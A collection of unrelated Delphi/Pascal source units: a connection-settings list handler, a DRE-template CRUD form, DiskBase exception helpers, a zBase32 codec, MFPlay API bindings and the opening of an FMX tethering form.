(ListView1.Items.Item[j].SubItems.Strings[0] = inttostr(i)) then
begin
exit;
end;
end;
Item := ListView1.Items.Add;
{$IFDEF XTREMETRIAL}
Item.Caption := '127.0.0.1';
Item.SubItems.Add(inttostr(81));
{$ELSE}
Item.Caption := TempDNS;
Item.SubItems.Add(inttostr(i));
{$ENDIF}
Item.ImageIndex := 0;
end;
procedure TFormConnectionSettings.SpeedButton2Click(Sender: TObject);
var
i: integer;
begin
if ListView1.Selected = nil then Exit;
for I := ListView1.Items.Count - 1 downto 0 do
begin
if ListView1.Items.Item[i].Selected then
ListView1.Items.Item[i].Delete;
end;
end;
end.
|
unit UTemplateDre;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, UtelaCadastro, Vcl.ComCtrls,
Vcl.StdCtrls, Vcl.Mask, Vcl.Buttons, Vcl.ExtCtrls, Vcl.Grids, Vcl.DBGrids, UTemplateDreVO,
Generics.Collections, UTemplateDreController, UPlanoContas, UPlanoContasVO, UEmpresaTrab;
type
TFTelaCadastroTemplateDre = class(TFTelaCadastro)
LabelEditCodigo: TLabeledEdit;
LabeledEditDescricao: TLabeledEdit;
LabeledEditOrdem: TLabeledEdit;
LabeledEditTotal: TLabeledEdit;
ComboBoxTipo: TComboBox;
Label1: TLabel;
EditClassificacao: TMaskEdit;
Telefone_1: TLabel;
GroupBox2: TGroupBox;
RadioButtonCodigo: TRadioButton;
RadioButtonDescricao: TRadioButton;
BtnBxConta: TBitBtn;
procedure FormCreate(Sender: TObject);
function DoSalvar: boolean; override;
function MontaFiltro: string;
procedure DoConsultar; override;
function DoExcluir: boolean; override;
procedure BitBtnNovoClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure BtnBxContaClick(Sender: TObject);
procedure CarregaObjetoSelecionado; override;
private
{ Private declarations }
public
{ Public declarations }
procedure GridParaEdits; override;
function EditsToObject(TemplateDre: TTemplateDreVO): TTemplateDreVO;
end;
var
FTelaCadastroTemplateDre: TFTelaCadastroTemplateDre;
implementation
{$R *.dfm}
var
ControllerTemplateDre: TTemplateDreController;
procedure TFTelaCadastroTemplateDre.BitBtnNovoClick(Sender: TObject);
begin
inherited;
// LabelEditCodigo.SetFocus;
end;
procedure TFTelaCadastroTemplateDre.BtnBxContaClick(Sender: TObject);
var
FormPlanoConsulta: TFTelaCadastroPlano;
begin
FormPlanoConsulta := TFTelaCadastroPlano.Create(nil);
FormPlanoConsulta.FechaForm := true;
FormPlanoConsulta.ShowModal;
if (FormPlanoConsulta.ObjetoRetornoVO <> nil) then
begin
EditClassificacao.Text := (TPlanoContasVO(FormPlanoConsulta.ObjetoRetornoVO).nrClassificacao);
//EditBxDsConta.Text := TPlanoContasVO(FormPlanoConsulta.ObjetoRetornoVO).dsConta;
end;
FormPlanoConsulta.Release;
end;
procedure TFTelaCadastroTemplateDre.CarregaObjetoSelecionado;
begin
inherited;
if (not CDSGrid.IsEmpty) then
begin
ObjetoRetornoVO := ControllerTemplateDre.ConsultarPorId(CDSGRID.FieldByName('IDDRE').AsInteger);
end;
end;
procedure TFTelaCadastroTemplateDre.DoConsultar;
var
listaTemplateDre: TObjectList<TTemplateDreVO>;
filtro: string;
begin
filtro := MontaFiltro;
listaTemplateDre := ControllerTemplateDre.Consultar(filtro);
PopulaGrid<TTemplateDreVO>(listaTemplateDre);
end;
function TFTelaCadastroTemplateDre.DoExcluir: boolean;
var
TemplateDre: TTemplateDreVO;
begin
try
try
TemplateDre := TTemplateDreVO.Create;
TemplateDre.idDre := CDSGrid.FieldByName('IDDRE').AsInteger;
ControllerTemplateDre.Excluir(TemplateDre);
except
on E: Exception do
begin
ShowMessage('Ocorreu um erro ao excluir o registro: ' + #13 + #13 +
E.Message);
Result := false;
end;
end;
finally
end;
end;
function TFTelaCadastroTemplateDre.DoSalvar: boolean;
var
TemplateDre: TTemplateDreVO;
begin
begin
TemplateDre:=EditsToObject(TTemplateDreVO.Create);
try
try
TemplateDre.ValidarCamposObrigatorios();
begin
if (StatusTela = stInserindo) then
begin
TemplateDre.idcondominio := FormEmpresaTrab.CodigoEmpLogada;
ControllerTemplateDre.Inserir(TemplateDre);
Result := true;
end
else if (StatusTela = stEditando) then
begin
TemplateDre := ControllerTemplateDre.ConsultarPorId(CDSGrid.FieldByName('IDDRE')
.AsInteger);
TemplateDre := EditsToObject(TemplateDre);
ControllerTemplateDre.Alterar(TemplateDre);
Result := true;
end
else
Result := false;
end;
except
on E: Exception do
begin
ShowMessage(E.Message);
Result := false;
end;
end;
finally
end;
end;
end;
function TFTelaCadastroTemplateDre.EditsToObject(
TemplateDre: TTemplateDreVO): TTemplateDreVO;
begin
if LabelEditCodigo.Text <> '' then
begin
TemplateDre.idTemplate := StrToInt(LabelEditCodigo.Text);
end;
if LabeledEditDescricao.Text <> '' then
begin
TemplateDre.descricao := LabeledEditDescricao.Text;
end;
if EditClassificacao.Text <> '' then
begin
TemplateDre.Classificacao := EditClassificacao.Text;
end;
if ComboboxTipo.ItemIndex >= 0 then
begin
TemplateDre.flTipo := IntToStr(comboboxTipo.ItemIndex);
end;
if LabeledEditOrdem.Text <> '' then
begin
TemplateDre.ordem := LabeledEditOrdem.Text;
end;
if LabeledEditTotal.Text <> '' then
begin
TemplateDre.total := LabeledEditTotal.Text;
end;
Result := TemplateDre;
end;
procedure TFTelaCadastroTemplateDre.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
inherited;
FreeAndNil(ControllerTemplateDre);
end;
procedure TFTelaCadastroTemplateDre.FormCreate(Sender: TObject);
begin
ClasseObjetoGridVO := TTemplateDreVO;
ControllerTemplateDre := TTemplateDreController.Create;
inherited;
end;
procedure TFTelaCadastroTemplateDre.GridParaEdits;
var
TemplateDre: TTemplateDreVO;
begin
inherited;
TemplateDre := nil;
if not CDSGrid.IsEmpty then
TemplateDre := ControllerTemplateDre.ConsultarPorId
(CDSGrid.FieldByName('IDDRE').AsInteger);
if TemplateDre <> nil then
begin
LabelEditCodigo.Text := IntToStr(TemplateDre.idTemplate);
LabeledEditDescricao.Text := TemplateDre.descricao;
EditClassificacao.Text := TemplateDre.Classificacao;
LabeledEditOrdem.Text := TemplateDre.ordem;
LabeledEditTotal.Text := TemplateDre.total;
if templateDre.flTipo <> '' then
begin
if templateDre.flTipo = '0' then
comboboxTipo.ItemIndex := 0
else
comboboxtipo.ItemIndex := 1;
end;
// comboboxTipo.ItemIndex := IntToStr(TemplateDre.flTipo);
end;
end;
function TFTelaCadastroTemplateDre.MontaFiltro: string;
begin
// Result := ' ( IDCONDOMINIO = '+inttostr(FormEmpresaTrab.CodigoEmpLogada)+ ' ) ';
if (RadioButtonCodigo.Checked = true) then
begin
if (editBusca.Text <> '') then
begin
Result := '( UPPER(IDTEMPLATE) LIKE ' +
QuotedStr('%' + UpperCase(editBusca.Text) + '%') + ' ) ';
end;
end
else if (RadioButtonDescricao.Checked = true) then
begin
if (editBusca.Text <> '') then
begin
Result := '( UPPER(DESCRICAO) LIKE ' +
QuotedStr('%' + UpperCase(editBusca.Text) + '%') + ' ) ';
end;
end;
end;
end.
|
unit UExceptions;
(*====================================================================
Exceptions used in DiskBase
======================================================================*)
interface
uses SysUtils, UTypes;
type
EQDirException = class(Exception);
EQDirFatalException = class(EQDirException);
EQDirNormalException = class(EQDirException);
EQDirDBaseStructException = class(EQDirException);
procedure NormalErrorMessage(Msg: ShortString);
procedure FatalErrorMessage (Msg: ShortString);
implementation
uses
{$ifdef mswindows}
WinTypes,WinProcs,
{$ELSE}
LCLIntf, LCLType, LMessages,
{$ENDIF}
Forms, ULang;
procedure NormalErrorMessage(Msg: ShortString);
var
MsgText, MsgCaption: array[0..256] of char;
begin
StrPCopy(MsgText, Msg);
StrPCopy(MsgCaption, lsError);
Application.MessageBox(MsgText, MsgCaption, mb_OK or mb_IconExclamation);
end;
procedure FatalErrorMessage(Msg: ShortString);
var
MsgText, MsgCaption: array[0..256] of char;
begin
StrPCopy(MsgText, lsCriticalError1 + #13#10 + Msg);
StrPCopy(MsgCaption, lsCriticalError);
Application.MessageBox(MsgText, MsgCaption, mb_OK or mb_IconStop);
end;
end.
|
unit uZBase32;
{
Copyright (c) 2015 Ugochukwu Mmaduekwe ugo4brain@gmail.com
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
}
interface
uses
System.SysUtils, System.Math, Generics.Collections, uBase;
function Encode(data: TBytes): String;
function Decode(data: String): TBytes;
function CreateIndexByOctetAndMovePosition(data: String;
currentPosition: Integer; out index: array of Integer): Integer;
Const
DefaultAlphabet: Array [0 .. 31] of String = ('y', 'b', 'n', 'd', 'r', 'f',
'g', '8', 'e', 'j', 'k', 'm', 'c', 'p', 'q', 'x', 'o', 't', '1', 'u', 'w',
'i', 's', 'z', 'a', '3', '4', '5', 'h', '7', '6', '9');
DefaultSpecial = Char(0);
implementation
function Encode(data: TBytes): String;
var
encodedResult: TStringBuilder;
i, j, byteCount, bitCount, dataLength, index: Integer;
buffer: UInt64;
begin
if ((data = nil) or (Length(data) = 0)) then
begin
Exit('');
end;
dataLength := Length(data);
encodedResult := TStringBuilder.Create;
encodedResult.Clear;
try
i := 0;
while i < dataLength do
begin
byteCount := Min(5, dataLength - i);
buffer := 0;
j := 0;
while j < byteCount do
begin
buffer := (buffer shl 8) or data[i + j];
inc(j);
end;
bitCount := byteCount * 8;
while (bitCount > 0) do
begin
if bitCount >= 5 then
begin
index := Int32(buffer shr (bitCount - 5)) and $1F;
end
else
begin
index := Int32(buffer) and UInt64($1F shr (5 - bitCount))
shl (5 - bitCount);
end;
encodedResult.Append(DefaultAlphabet[index]);
dec(bitCount, 5);
end;
inc(i, 5);
end;
result := encodedResult.ToString;
finally
encodedResult.Free;
end;
end;
function CreateIndexByOctetAndMovePosition(data: String;
currentPosition: Integer; out index: array of Integer): Integer;
var
j: Integer;
begin
j := 0;
while (j < 8) do
begin
if (currentPosition > (Length(data))) then
begin
index[j] := -1;
inc(j);
continue;
end;
if (InvAlphabet[Ord(data[currentPosition])] = -1) then
begin
inc(currentPosition);
continue;
end;
index[j] := Ord(data[currentPosition]);
inc(j);
inc(currentPosition);
end;
result := currentPosition;
end;
function Decode(data: String): TBytes;
var
tempResult: TList<Byte>;
index: array of Integer;
i, j, shortByteCount, bitCount: Integer;
buffer: UInt64;
begin
if isNullOrEmpty(data) then
begin
SetLength(result, 1);
result := Nil;
Exit;
end;
tempResult := TList<Byte>.Create;
tempResult.Capacity := Int32(Ceil((Length(data)) * 5.0 / 8.0));
try
Base(Length(DefaultAlphabet), DefaultAlphabet, DefaultSpecial);
SetLength(index, 8);
i := 1;
tempResult.Clear;
while i < (Length(data)) do
begin
i := CreateIndexByOctetAndMovePosition(data, i, index);
shortByteCount := 0;
buffer := 0;
j := 0;
while (j < 8) and (index[j] <> -1) do
begin
buffer := (buffer shl 5) or UInt64(InvAlphabet[index[j]] and $1F);
inc(shortByteCount);
inc(j);
end;
bitCount := shortByteCount * 5;
while (bitCount >= 8) do
begin
tempResult.Add(Byte((buffer shr (bitCount - 8)) and $FF));
bitCount := bitCount - 8;
end;
end;
result := tempResult.ToArray;
finally
tempResult.Free;
index := nil;
end;
end;
end.
|
unit Win32.MFPlay;
// Updated to SDK 10.0.17763.0
// (c) Translation to Pascal by Norbert Sonnleitner
{$IFDEF FPC}
{$mode delphi}
{$ENDIF}
interface
{$Z4}
{$A4}
uses
Windows, Classes, SysUtils, ActiveX, ShlObj,
CMC.WTypes, CMC.MFIdl, CMC.EVR, Win32.MFObjects;
const
MFPlay_DLL = 'MFPlay.dll';
const
IID_IMFPMediaPlayer: TGUID = '{A714590A-58AF-430a-85BF-44F5EC838D85}';
IID_IMFPMediaItem: TGUID = '{90EB3E6B-ECBF-45cc-B1DA-C6FE3EA70D57}';
IID_IMFPMediaPlayerCallback: TGUID = '{766C8FFB-5FDB-4fea-A28D-B912996F51BD}';
const
MFP_POSITIONTYPE_100NS: TGUID = '{00000000-0000-0000-0000-000000000000}';
MFP_PKEY_StreamIndex: TPROPERTYKEY = (fmtid: '{a7cf9740-e8d9-4a87-bd8e-2967001fd3ad}'; pid: $00);
MFP_PKEY_StreamRenderingResults: TPROPERTYKEY = (fmtid: '{a7cf9740-e8d9-4a87-bd8e-2967001fd3ad}'; pid: $01);
type
IMFPMediaItem = interface;
TMFP_CREATION_OPTIONS = (
MFP_OPTION_NONE = 0,
MFP_OPTION_FREE_THREADED_CALLBACK = $1,
MFP_OPTION_NO_MMCSS = $2,
MFP_OPTION_NO_REMOTE_DESKTOP_OPTIMIZATION = $4
);
TMFP_MEDIAPLAYER_STATE = (
MFP_MEDIAPLAYER_STATE_EMPTY = 0,
MFP_MEDIAPLAYER_STATE_STOPPED = $1,
MFP_MEDIAPLAYER_STATE_PLAYING = $2,
MFP_MEDIAPLAYER_STATE_PAUSED = $3,
MFP_MEDIAPLAYER_STATE_SHUTDOWN = $4
);
TMFP_MEDIAITEM_CHARACTERISTICS = (
MFP_MEDIAITEM_IS_LIVE = $1,
MFP_MEDIAITEM_CAN_SEEK = $2,
MFP_MEDIAITEM_CAN_PAUSE = $4,
MFP_MEDIAITEM_HAS_SLOW_SEEK = $8
);
TMFP_CREDENTIAL_FLAGS = (
MFP_CREDENTIAL_PROMPT = $1,
MFP_CREDENTIAL_SAVE = $2,
MFP_CREDENTIAL_DO_NOT_CACHE = $4,
MFP_CREDENTIAL_CLEAR_TEXT = $8,
MFP_CREDENTIAL_PROXY = $10,
MFP_CREDENTIAL_LOGGED_ON_USER = $20
);
IMFPMediaPlayer = interface(IUnknown)
['{A714590A-58AF-430a-85BF-44F5EC838D85}']
function Play(): HResult; stdcall;
function Pause(): HResult; stdcall;
function Stop(): HResult; stdcall;
function FrameStep(): HResult; stdcall;
function SetPosition(const guidPositionType: TGUID; const pvPositionValue: PPROPVARIANT): HResult; stdcall;
function GetPosition(const guidPositionType: TGUID; out pvPositionValue: TPROPVARIANT): HResult; stdcall;
function GetDuration(const guidPositionType: TGUID; out pvDurationValue: TPROPVARIANT): HResult; stdcall;
function SetRate(flRate: single): HResult; stdcall;
function GetRate(out pflRate: single): HResult; stdcall;
function GetSupportedRates(fForwardDirection: boolean; out pflSlowestRate: single; out pflFastestRate: single): HResult; stdcall;
function GetState(out peState: TMFP_MEDIAPLAYER_STATE): HResult; stdcall;
function CreateMediaItemFromURL(pwszURL: LPCWSTR; fSync: boolean; dwUserData: DWORD_PTR;
out ppMediaItem: IMFPMediaItem): HResult; stdcall;
function CreateMediaItemFromObject(pIUnknownObj: IUnknown; fSync: boolean; dwUserData: DWORD_PTR;
out ppMediaItem: IMFPMediaItem): HResult; stdcall;
function SetMediaItem(pIMFPMediaItem: IMFPMediaItem): HResult; stdcall;
function ClearMediaItem(): HResult; stdcall;
function GetMediaItem(out ppIMFPMediaItem: IMFPMediaItem): HResult; stdcall;
function GetVolume(out pflVolume: single): HResult; stdcall;
function SetVolume(flVolume: single): HResult; stdcall;
function GetBalance(out pflBalance: single): HResult; stdcall;
function SetBalance(flBalance: single): HResult; stdcall;
function GetMute(out pfMute: boolean): HResult; stdcall;
function SetMute(fMute: boolean): HResult; stdcall;
function GetNativeVideoSize(out pszVideo: TSIZE; out pszARVideo: TSIZE): HResult; stdcall;
function GetIdealVideoSize(out pszMin: TSIZE; out pszMax: TSIZE): HResult; stdcall;
function SetVideoSourceRect(const pnrcSource: TMFVideoNormalizedRect): HResult; stdcall;
function GetVideoSourceRect(out pnrcSource: TMFVideoNormalizedRect): HResult; stdcall;
function SetAspectRatioMode(dwAspectRatioMode: DWORD): HResult; stdcall;
function GetAspectRatioMode(out pdwAspectRatioMode: DWORD): HResult; stdcall;
function GetVideoWindow(out phwndVideo: HWND): HResult; stdcall;
function UpdateVideo(): HResult; stdcall;
function SetBorderColor(Clr: COLORREF): HResult; stdcall;
function GetBorderColor(out pClr: COLORREF): HResult; stdcall;
function InsertEffect(pEffect: IUnknown; fOptional: boolean): HResult; stdcall;
function RemoveEffect(pEffect: IUnknown): HResult; stdcall;
function RemoveAllEffects(): HResult; stdcall;
function Shutdown(): HResult; stdcall;
end;
IMFPMediaItem = interface(IUnknown)
['{90EB3E6B-ECBF-45cc-B1DA-C6FE3EA70D57}']
function GetMediaPlayer(out ppMediaPlayer: IMFPMediaPlayer): HResult; stdcall;
function GetURL(out ppwszURL: LPWSTR): HResult; stdcall;
function GetObject(out ppIUnknown: IUnknown): HResult; stdcall;
function GetUserData(out pdwUserData: DWORD_PTR): HResult; stdcall;
function SetUserData(dwUserData: DWORD_PTR): HResult; stdcall;
function GetStartStopPosition(out pguidStartPositionType: TGUID; out pvStartValue: PROPVARIANT;
out pguidStopPositionType: TGUID; out pvStopValue: PROPVARIANT): HResult; stdcall;
function SetStartStopPosition(const pguidStartPositionType: TGUID; const pvStartValue: PROPVARIANT;
const pguidStopPositionType: TGUID; const pvStopValue: PROPVARIANT): HResult; stdcall;
function HasVideo(out pfHasVideo: boolean; out pfSelected: boolean): HResult; stdcall;
function HasAudio(out pfHasAudio: boolean; out pfSelected: boolean): HResult; stdcall;
function IsProtected(out pfProtected: boolean): HResult; stdcall;
function GetDuration(const guidPositionType: TGUID; out pvDurationValue: PROPVARIANT): HResult; stdcall;
function GetNumberOfStreams(out pdwStreamCount: DWORD): HResult; stdcall;
function GetStreamSelection(dwStreamIndex: DWORD; out pfEnabled: boolean): HResult; stdcall;
function SetStreamSelection(dwStreamIndex: DWORD; fEnabled: boolean): HResult; stdcall;
function GetStreamAttribute(dwStreamIndex: DWORD; const guidMFAttribute: TGUID; out pvValue: PROPVARIANT): HResult; stdcall;
function GetPresentationAttribute(const guidMFAttribute: TGUID; out pvValue: PROPVARIANT): HResult; stdcall;
function GetCharacteristics(out pCharacteristics: TMFP_MEDIAITEM_CHARACTERISTICS): HResult; stdcall;
function SetStreamSink(dwStreamIndex: DWORD; pMediaSink: IUnknown): HResult; stdcall;
function GetMetadata(out ppMetadataStore: IPropertyStore): HResult; stdcall;
end;
TMFP_EVENT_TYPE = (
MFP_EVENT_TYPE_PLAY = 0,
MFP_EVENT_TYPE_PAUSE = 1,
MFP_EVENT_TYPE_STOP = 2,
MFP_EVENT_TYPE_POSITION_SET = 3,
MFP_EVENT_TYPE_RATE_SET = 4,
MFP_EVENT_TYPE_MEDIAITEM_CREATED = 5,
MFP_EVENT_TYPE_MEDIAITEM_SET = 6,
MFP_EVENT_TYPE_FRAME_STEP = 7,
MFP_EVENT_TYPE_MEDIAITEM_CLEARED = 8,
MFP_EVENT_TYPE_MF = 9,
MFP_EVENT_TYPE_ERROR = 10,
MFP_EVENT_TYPE_PLAYBACK_ENDED = 11,
MFP_EVENT_TYPE_ACQUIRE_USER_CREDENTIAL = 12
);
TMFP_EVENT_HEADER = record
eEventType: TMFP_EVENT_TYPE;
hrEvent: HRESULT;
pMediaPlayer: IMFPMediaPlayer;
eState: TMFP_MEDIAPLAYER_STATE;
pPropertyStore: IPropertyStore;
end;
PMFP_EVENT_HEADER = ^TMFP_EVENT_HEADER;
TMFP_PLAY_EVENT = record
header: TMFP_EVENT_HEADER;
pMediaItem: IMFPMediaItem;
end;
PMFP_PLAY_EVENT = ^TMFP_PLAY_EVENT;
TMFP_PAUSE_EVENT = record
header: TMFP_EVENT_HEADER;
pMediaItem: IMFPMediaItem;
end;
PMFP_PAUSE_EVENT = ^TMFP_PAUSE_EVENT;
TMFP_STOP_EVENT = record
header: TMFP_EVENT_HEADER;
pMediaItem: IMFPMediaItem;
end;
PMFP_STOP_EVENT = ^TMFP_STOP_EVENT;
TMFP_POSITION_SET_EVENT = record
header: TMFP_EVENT_HEADER;
pMediaItem: IMFPMediaItem;
end;
PMFP_POSITION_SET_EVENT = ^TMFP_POSITION_SET_EVENT;
TMFP_RATE_SET_EVENT = record
header: TMFP_EVENT_HEADER;
pMediaItem: IMFPMediaItem;
flRate: single;
end;
PMFP_RATE_SET_EVENT = ^TMFP_RATE_SET_EVENT;
TMFP_MEDIAITEM_CREATED_EVENT = record
header: TMFP_EVENT_HEADER;
pMediaItem: IMFPMediaItem;
dwUserData: DWORD_PTR;
end;
PMFP_MEDIAITEM_CREATED_EVENT = ^TMFP_MEDIAITEM_CREATED_EVENT;
TMFP_MEDIAITEM_SET_EVENT = record
header: TMFP_EVENT_HEADER;
pMediaItem: IMFPMediaItem;
end;
PMFP_MEDIAITEM_SET_EVENT = ^TMFP_MEDIAITEM_SET_EVENT;
TMFP_FRAME_STEP_EVENT = record
header: TMFP_EVENT_HEADER;
pMediaItem: IMFPMediaItem;
end;
PMFP_FRAME_STEP_EVENT = ^TMFP_FRAME_STEP_EVENT;
TMFP_MEDIAITEM_CLEARED_EVENT = record
header: TMFP_EVENT_HEADER;
pMediaItem: IMFPMediaItem;
end;
PMFP_MEDIAITEM_CLEARED_EVENT = ^TMFP_MEDIAITEM_CLEARED_EVENT;
TMFP_MF_EVENT = record
header: TMFP_EVENT_HEADER;
MFEventType: TMediaEventType;
pMFMediaEvent: IMFMediaEvent;
pMediaItem: IMFPMediaItem;
end;
PMFP_MF_EVENT = ^TMFP_MF_EVENT;
TMFP_ERROR_EVENT = record
header: TMFP_EVENT_HEADER;
end;
PMFP_ERROR_EVENT = ^TMFP_ERROR_EVENT;
TMFP_PLAYBACK_ENDED_EVENT = record
header: TMFP_EVENT_HEADER;
pMediaItem: IMFPMediaItem;
end;
PMFP_PLAYBACK_ENDED_EVENT = ^TMFP_PLAYBACK_ENDED_EVENT;
TMFP_ACQUIRE_USER_CREDENTIAL_EVENT = record
header: TMFP_EVENT_HEADER;
dwUserData: DWORD_PTR;
fProceedWithAuthentication: boolean;
hrAuthenticationStatus: HRESULT;
pwszURL: LPCWSTR;
pwszSite: LPCWSTR;
pwszRealm: LPCWSTR;
pwszPackage: LPCWSTR;
nRetries: longint;
flags: TMFP_CREDENTIAL_FLAGS;
pCredential: IMFNetCredential;
end;
PMFP_ACQUIRE_USER_CREDENTIAL_EVENT = ^TMFP_ACQUIRE_USER_CREDENTIAL_EVENT;
IMFPMediaPlayerCallback = interface(IUnknown)
['{766C8FFB-5FDB-4fea-A28D-B912996F51BD}']
procedure OnMediaPlayerEvent(pEventHeader: PMFP_EVENT_HEADER); stdcall;
end;
function MFPCreateMediaPlayer(pwszURL: LPCWSTR; fStartPlayback: boolean; creationOptions: TMFP_CREATION_OPTIONS;
pCallback: IMFPMediaPlayerCallback; hWnd: HWND; out ppMediaPlayer: IMFPMediaPlayer): HResult;
stdcall; external MFPlay_DLL;
{ Helper Functions for Events}
function MFP_GET_PLAY_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_PLAY_EVENT;
function MFP_GET_PAUSE_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_PAUSE_EVENT;
function MFP_GET_STOP_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_STOP_EVENT;
function MFP_GET_POSITION_SET_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_POSITION_SET_EVENT;
function MFP_GET_RATE_SET_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_RATE_SET_EVENT;
function MFP_GET_MEDIAITEM_CREATED_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_MEDIAITEM_CREATED_EVENT;
function MFP_GET_MEDIAITEM_SET_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_MEDIAITEM_SET_EVENT;
function MFP_GET_FRAME_STEP_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_FRAME_STEP_EVENT;
function MFP_GET_MEDIAITEM_CLEARED_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_MEDIAITEM_CLEARED_EVENT;
function MFP_GET_MF_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_MF_EVENT;
function MFP_GET_ERROR_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_ERROR_EVENT;
function MFP_GET_PLAYBACK_ENDED_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_PLAYBACK_ENDED_EVENT;
function MFP_GET_ACQUIRE_USER_CREDENTIAL_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_ACQUIRE_USER_CREDENTIAL_EVENT;
implementation
function MFP_GET_PLAY_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_PLAY_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_PLAY then
begin
Result := PMFP_PLAY_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_PAUSE_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_PAUSE_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_PAUSE then
begin
Result := PMFP_PAUSE_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_STOP_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_STOP_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_STOP then
begin
Result := PMFP_STOP_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_POSITION_SET_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_POSITION_SET_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_POSITION_SET then
begin
Result := PMFP_POSITION_SET_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_RATE_SET_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_RATE_SET_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_RATE_SET then
begin
Result := PMFP_RATE_SET_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_MEDIAITEM_CREATED_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_MEDIAITEM_CREATED_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_MEDIAITEM_CREATED then
begin
Result := PMFP_MEDIAITEM_CREATED_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_MEDIAITEM_SET_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_MEDIAITEM_SET_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_MEDIAITEM_SET then
begin
Result := PMFP_MEDIAITEM_SET_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_FRAME_STEP_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_FRAME_STEP_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_FRAME_STEP then
begin
Result := PMFP_FRAME_STEP_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_MEDIAITEM_CLEARED_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_MEDIAITEM_CLEARED_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_MEDIAITEM_CLEARED then
begin
Result := PMFP_MEDIAITEM_CLEARED_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_MF_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_MF_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_MF then
begin
Result := PMFP_MF_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_ERROR_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_ERROR_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_ERROR then
begin
Result := PMFP_ERROR_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_PLAYBACK_ENDED_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_PLAYBACK_ENDED_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_PLAYBACK_ENDED then
begin
Result := PMFP_PLAYBACK_ENDED_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
function MFP_GET_ACQUIRE_USER_CREDENTIAL_EVENT(const pHdr: PMFP_EVENT_HEADER): PMFP_ACQUIRE_USER_CREDENTIAL_EVENT;
begin
if pHdr.eEventType = MFP_EVENT_TYPE_ACQUIRE_USER_CREDENTIAL then
begin
Result := PMFP_ACQUIRE_USER_CREDENTIAL_EVENT(pHdr);
end
else
begin
Result := nil;
end;
end;
end.
|
unit Unit1;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes,
System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, IPPeerClient,
IPPeerServer, System.Tether.Manager, System.Tether.AppProfile,
FMX.ListView.Types, FMX.ListView, FMX.StdCtrls, FMX.Bind.GenData,
Data.Bind.GenData, System.Rtti, System.Bindings.Outputs, FMX.Bind.Editors,
Data.Bind.EngExt, FMX.Bind.DBEngExt, Data.Bind.Components,
Data.Bind.ObjectScope, System.Actions, FMX.ActnList;
type
TForm1 = class(TForm)
TetherBDTestManager: TTetheringManager;
TetherBDTestProfile: TTetheringAppProfile;
ListView1: TListView;
PrototypeBindSource1: TPrototypeBindSource;
LinkFillControlToFieldColorsName1: TLinkFillControlToField;
BindingsList1: TBindingsList;
ToolBar1: TToolBar;
Label1: TLabel;
ToolBar2: TToolBar;
Label2: TLabel;
Button1: TButton;
ActionList1: TActionList;
actGetList: TAction;
tmCheckConnection: TTimer;
procedure TetherBDTestProfileResources0ResourceReceived
(const Sender: TObject; const AResource: TRemoteResource);
